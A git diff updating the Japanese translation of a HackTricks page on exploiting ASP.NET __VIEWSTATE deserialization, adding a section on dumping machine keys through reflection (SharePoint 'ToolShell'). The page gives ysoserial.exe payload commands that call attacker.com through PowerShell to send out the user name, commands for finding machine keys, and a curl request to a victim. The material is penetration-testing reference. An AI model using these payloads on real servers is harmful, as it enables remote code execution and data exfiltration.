diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index b208e9046..09860b164 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -1,9 +1,7 @@ -# __VIEWSTATEの秘密を知らずに悪用する +# __VIEWSTATEを秘密を知らずに悪用する {{#include ../../banners/hacktricks-training.md}} - - ## ViewStateとは **ViewState**は、ASP.NETにおけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムです。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持される値がbase64エンコードされた文字列にシリアライズされます。これらの文字列は、隠しViewStateフィールドに配置されます。 @@ -11,15 +9,15 @@ ViewState情報は、以下の特性またはその組み合わせによって特徴付けられます: - **Base64**: -- `EnableViewStateMac`と`ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用される形式です。 +- `EnableViewStateMac`と`ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用されるフォーマットです。 - **Base64 + MAC (メッセージ認証コード) 有効**: - MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。 - **Base64 + 暗号化**: -- `ViewStateEncryptionMode`属性がtrueに設定されている場合に暗号化が適用され、ViewStateデータの機密性が確保されます。 +- `ViewStateEncryptionMode`属性がtrueに設定されている場合、暗号化が適用され、ViewStateデータの機密性が確保されます。 ## テストケース -画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示した表です。内容の概要は以下の通りです: +画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示す表です。内容の要約は以下の通りです: 1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。 2. **4.5未満のバージョン**では、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。 @@ -34,19 +32,19 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` **ViewState属性の特定** -BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定しようとすることができます。Macがパラメータを保護するために使用されていない場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してこれを悪用することができます。 +BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定しようとすることができます。パラメータを保護するためにMacが使用されていない場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してこれを悪用することができます。 ``` ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` ### Test case 1.5 – Test case 1と同様ですが、ViewStateクッキーはサーバーによって送信されません -開発者は**ViewState**をHTTPリクエストの一部として送信されないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\ -**ViewState**が**存在しない**場合、その実装は**ViewStateデシリアライズに起因する潜在的な脆弱性から安全である**と仮定するかもしれません。\ -しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**で示されているように**コード実行**を達成することができます。 +開発者は**ViewState**をHTTPリクエストの一部として送信しないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\ +**ViewState**が**存在しない**場合、その実装は**ViewStateのデシリアライズに起因する潜在的な脆弱性**から**安全**であると考えるかもしれません。\ +しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**に示されているように**コード実行**を達成することができます。 ### Test Case: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false -特定のページに対して**ViewState MAC**を**有効にする**ためには、特定のaspxファイルに以下の変更を加える必要があります: +特定のページに**ViewState MAC**を**有効にする**ためには、特定のaspxファイルに以下の変更を加える必要があります: ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` @@ -70,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M --encrypteddata : __VIEWSTATE parameter value of the target application --modifier : __VIWESTATEGENERATOR parameter value ``` -[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstate 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。 +[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。 viewstate と generator を直接提供することができます: ``` @@ -81,7 +79,7 @@ python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgX ``` ![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png) -または、ターゲットURLに直接接続し、HTMLからviewstateを切り出そうとすることができます: +または、ターゲットURLに直接接続し、HTMLからviewstateを抽出しようとすることもできます: ``` pip install badsecrets git clone https://github.com/blacklanternsecurity/badsecrets @@ -96,29 +94,29 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp ``` ![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png) -運が良ければ、キーが見つかり、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**を使用して攻撃を進めることができます。 +運が良ければ、キーが見つかり、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** を使用して攻撃を進めることができます。 ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --generator = {__VIWESTATEGENERATOR parameter value} ``` -サーバーによって`_VIEWSTATEGENERATOR`パラメータが**送信されない**場合、`--generator`パラメータを**提供する必要はありませんが、これらのパラメータは必要です**: +サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありませんが、これらのパラメータは必要です**: ```bash --apppath="/" --path="/hello.aspx" ``` -### テストケース: 3 – .Net < 4.5 と EnableViewStateMac=true/false と ViewStateEncryptionMode=true +### テストケース: 3 – .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true この場合、パラメータがMACで保護されているかどうかは不明です。そのため、値はおそらく暗号化されており、**脆弱性を悪用するためにペイロードを暗号化するためのマシンキーが必要です**。 **この場合、** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールは開発中です...** -**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**Always**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。** +**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**常に**_に設定されていても、ユーザーからの**未暗号化**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、未暗号化のペイロードを送信しても、処理されます。** -したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを**ケース2**で使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。 +したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。 - ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。 -### テストケース: 4 – .Net >= 4.5 と EnableViewStateMac=true/false と ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合 +### テストケース: 4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合 以下のパラメータをweb.configファイル内に指定することで、ASP.NETフレームワークの使用を強制できます。 ```xml @@ -138,9 +136,9 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw --IISDirPath = {Directory path of website in IIS} --TargetPagePath = {Target page path in application} ``` -IISDirPathとTargetPagePathの詳細な説明については[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +IISDirPathとTargetPagePathの詳細な説明については、[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) -または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(生成者値付き)を使用して: +または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレーター値付き)を使用して: ```bash cd badsecrets python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415 @@ -155,9 +153,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。 +ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。 -### Test Case 6 – ViewStateUserKeysが使用されている +### テストケース 6 – ViewStateUserKeysが使用されている **ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法で**ViewState**ペイロードを生成しようとすると、**ペイロードはアプリケーションによって処理されません**。\ ペイロードを正しく作成するために、もう1つのパラメータを使用する必要があります: @@ -166,9 +164,40 @@ ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者 ``` ### 成功したエクスプロイトの結果 -すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを受け取ります。 +すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。 -[さらに詳しい情報はこちらを確認してください]() +[さらに情報を確認するにはこちらをチェックしてください]() + +### リフレクションを介したASP.NETマシンキーのダンプ (SharPyShell/SharePoint ToolShell) + +ターゲットのウェブルート内で**任意のASPXコードをアップロードまたは実行できる**攻撃者は、ブルートフォースする代わりに`__VIEWSTATE`を保護する秘密鍵を直接取得できます。 +鍵を漏洩させる最小限のペイロードは、リフレクションを通じて内部の.NETクラスを利用します: +```csharp +<%@ Import Namespace="System.Web.Configuration" %> +<%@ Import Namespace="System.Reflection" %> + +``` +ページのリクエストは、**ValidationKey**、**DecryptionKey**、暗号化アルゴリズム、およびASP.NET互換モードを出力します。これらの値は、**ysoserial.net**に直接入力して、有効な署名付き`__VIEWSTATE`ガジェットを作成することができます: +```bash +ysoserial.exe -p ViewState -g TypeConfuseDelegate \ +-c "powershell -nop -c \"whoami\"" \ +--generator= \ +--validationkey= --validationalg= \ +--decryptionkey= --decryptionalg= \ +--islegacy --minify +curl "http://victim/page.aspx?__VIEWSTATE=" +``` +この**key-exfiltration primitive**は、2025年にオンプレミスのSharePointサーバーに対して大規模に悪用されました("ToolShell" – CVE-2025-53770/53771)が、攻撃者がサーバーサイドコードを実行できる任意のASP.NETアプリケーションに適用可能です。 ## 参考文献 @@ -176,5 +205,6 @@ ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者 - [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) +- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) {{#include ../../banners/hacktricks-training.md}}